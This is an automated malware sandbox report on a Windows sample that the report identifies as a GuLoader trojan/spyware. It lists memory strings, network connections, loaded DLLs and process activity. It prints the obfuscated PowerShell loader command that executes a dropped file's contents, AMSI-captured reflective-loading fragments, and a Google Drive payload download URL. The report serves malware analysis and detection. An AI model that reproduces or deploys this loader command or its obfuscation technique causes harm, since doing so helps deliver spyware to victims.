Source: msiexec.exe, 00000009.00000002.2653650551.000000000757A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2664768454.0000000022610000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI
Source: msiexec.exe, 00000009.00000002.2653650551.000000000757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NIN
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/#
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=download
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=downloadT
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1wmwZCb5HsLP8Yqdvke2hD-vN5VaKU3NI&export=downloads
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000002.00000002.2012024518.00000000053C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2018085249.00000000062DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msiexec.exe, 00000009.00000002.2665789154.00000000230BB000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002312B000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: msiexec.exe, 00000009.00000002.2665789154.00000000230BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: msiexec.exe, 00000009.00000002.2665789154.00000000230E5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.000000002312B000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: msiexec.exe, 00000009.00000002.2653650551.00000000075D7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: msiexec.exe, 00000009.00000002.2667049605.0000000024091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: msiexec.exe, 00000009.00000003.2131753724.00000000075EE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2131692317.00000000075EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: msiexec.exe, 00000009.00000002.2665789154.000000002325F000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.2665789154.0000000023250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: msiexec.exe, 00000009.00000002.2665789154.000000002325A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB
Source: msiexec.exe, 00000009.00000002.2665789154.0000000023250000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/p

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49728 version: TLS 1.2

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_00404FE4 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404FE4

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\HVSU7GbA5N.exe

Jump to dropped file

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_004030B6 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_004030B6

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00404823	0_2_00404823
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Code function: 0_2_00406197	0_2_00406197
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D2C4DE	2_2_07D2C4DE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5D278	9_2_02D5D278
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D55370	9_2_02D55370
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5C146	9_2_02D5C146
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5C738	9_2_02D5C738
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5C468	9_2_02D5C468
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5CA08	9_2_02D5CA08
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5E988	9_2_02D5E988
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5CFA9	9_2_02D5CFA9
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5CCD8	9_2_02D5CCD8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 9_2_02D5A088	9_2_02D5A088

Source: HVSU7GbA5N.exe, 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedeliberationens imporosity.exe4 vs HVSU7GbA5N.exe
Source: HVSU7GbA5N.exe	Binary or memory string: OriginalFilenamedeliberationens imporosity.exe4 vs HVSU7GbA5N.exe
Source: HVSU7GbA5N.exe.2.dr	Binary or memory string: OriginalFilenamedeliberationens imporosity.exe4 vs HVSU7GbA5N.exe

Source: HVSU7GbA5N.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/11@5/5

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_004042B1 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_004042B1

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_00402036 CoCreateInstance,MultiByteToWideChar,

0_2_00402036

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

File created: C:\Users\user\AppData\Local\Chillum19

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7652:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: NULL

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

File created: C:\Users\user\AppData\Local\Temp\nslFBE7.tmp

Jump to behavior

Source: HVSU7GbA5N.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Process

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: HVSU7GbA5N.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

File read: C:\Users\user\Desktop\HVSU7GbA5N.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\HVSU7GbA5N.exe "C:\Users\user\Desktop\HVSU7GbA5N.exe"
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\HVSU7GbA5N.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: HVSU7GbA5N.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: e.pdb0:lp source: powershell.exe, 00000002.00000002.2031388759.0000000008BC1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb53 source: powershell.exe, 00000002.00000002.2011151339.0000000003575000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: s\System.Core.pdbw,l source: powershell.exe, 00000002.00000002.2031388759.0000000008BC1000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2032574742.000000000A644000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Glucosidically $Hydrodynamic $Fladblgene187), (Showboater @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Albarium = [AppDomain]::CurrentDomain.GetAssembli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Paragrafrytterens)), $Syningshaller).DefineDynamicModule($Overbevisendes, $false).DefineType($ypperst, $Opgavest, [System.MulticastDel

Source: C:\Users\user\Desktop\HVSU7GbA5N.exe

Code function: 0_2_00405EE8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405EE8

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04DCE9F8 push eax; mov dword ptr [esp], edx	2_2_04DCEA0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D2A116 push ebx; retf	2_2_07D2A11D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D20FC4 push es; iretd	2_2_07D20FC7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D2F58C push ecx; iretd	2_2_07D2F58E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07D2F3D6 push ecx; iretd	2_2_07D2F3E6
